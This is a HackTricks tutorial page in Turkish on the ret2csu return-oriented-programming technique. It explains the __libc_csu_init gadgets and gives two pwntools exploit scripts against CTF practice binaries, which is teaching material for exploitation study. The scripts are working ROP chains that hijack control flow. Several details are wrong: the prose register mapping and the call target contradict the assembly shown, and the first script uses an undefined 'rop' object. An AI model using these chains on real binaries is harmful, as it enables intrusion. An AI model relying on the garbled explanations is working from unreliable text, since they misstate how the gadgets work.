Ret2csu

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

https://www.scs.stanford.edu/brop/bittau-brop.pdfTemel Bilgiler

ret2csu, bir programın kontrolünü ele almaya çalışırken, programın davranışını manipüle etmek için genellikle kullandığınız gadgets'ları bulamadığınızda kullanılan bir hacking tekniğidir.

Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracağını yönetmek için bazı yerleşik fonksiyonlara sahiptir. Bu fonksiyonlar arasında, özellikle __libc_csu_init adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli değerler bulunmaktadır.

__libc_csu_init'deki Sihirli Gadgets

__libc_csu_init içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır:

  1. İlk dizi, birkaç kaydın (rbx, rbp, r12, r13, r14, r15) değerlerini ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri depolayabileceğimiz slotlar gibidir.
armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Bu alet, yığın üzerindeki değerleri bu kayıtlara alarak kontrol etmemizi sağlar.

  1. İkinci dizilim, ayarladığımız değerleri kullanarak birkaç şey yapar:
  • Belirli değerleri diğer kayıtlara taşıyarak, bunları fonksiyonlarda parametre olarak kullanmaya hazır hale getirir.
  • r15 ve rbx'deki değerleri toplayarak belirlenen bir konuma çağrı yapar, ardından rbx'i 8 ile çarpar.
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve bir ret talimatına ihtiyacınız var. İkinci gadget'ın da bir ret ile biteceğini unutmayın, ancak ona ulaşmak için bazı koşulları yerine getirmeniz gerekecek:
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Koşullar şunlar olacaktır:

  • [r12 + rbx*8] çağrılabilir bir fonksiyonu depolayan bir adrese işaret etmelidir (eğer bir fikriniz yoksa ve pie yoksa, sadece _init fonksiyonunu kullanabilirsiniz):
  • Eğer _init 0x400560 adresindeyse, GEF kullanarak bellekte ona işaret eden bir işaretçi arayın ve [r12 + rbx*8]'in _init'e işaret eden adres olmasını sağlayın:
bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
  • rbp ve rbx aynı değere sahip olmalıdır, aksi takdirde atlama gerçekleşir.
  • Dikkate almanız gereken bazı atlanmış pop'lar vardır.

RDI ve RSI

rdi ve rsi'yi ret2csu gadget'ından kontrol etmenin bir diğer yolu, belirli ofsetlere erişmektir:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Daha fazla bilgi için bu sayfayı kontrol edin:

BROP - Blind Return Oriented Programming

Örnek

Çağrıyı Kullanma

Bir syscall yapmak veya write() gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak rdx ve rsi kayıtlarında parametre olarak belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.

İşte burada ret2csu devreye giriyor:

  1. Kayıtları Ayarlayın: İlk sihirli gadget'ı kullanarak yığın üzerindeki değerleri rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop'layın.
  2. İkinci Gadget'ı Kullanın: Bu kayıtlar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri rdx ve rsi'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, r15 ve rbx'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu [r15 + rbx*8] adresine yerleştirebilirsiniz.

Bu tekniği kullanan ve burada açıklayan bir örneğiniz var ve bu, kullanılan son istismar:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

warning

Önceki exploit'in bir RCE gerçekleştirmek için tasarlanmadığını, sadece win adlı bir fonksiyonu çağırmak için tasarlandığını (ROP zincirinde win adresini stdin'den alarak ve bunu r15'te saklayarak) ve üçüncü bir argüman olarak 0xdeadbeefcafed00d değerini kullandığını unutmayın.

Çağrıyı atlayarak ret'e ulaşma

Aşağıdaki exploit, ret2csu'nun kullanıldığı bu sayfadan çıkarılmıştır, ancak çağrıyı kullanmak yerine, karşılaştırmaları atlayarak ve çağrıdan sonra ret'e ulaşmaktadır:

python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Neden Sadece libc Kullanmayalım?

Genellikle bu durumlar da ret2plt + ret2lib ile savunmasızdır, ancak bazen libc'de doğrudan bulduğunuz gadget'larla kolayca kontrol edilebilecek parametrelerden daha fazlasını kontrol etmeniz gerekir. Örneğin, write() fonksiyonu üç parametre gerektirir ve bunların hepsini doğrudan ayarlamak için gadget bulmak mümkün olmayabilir.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin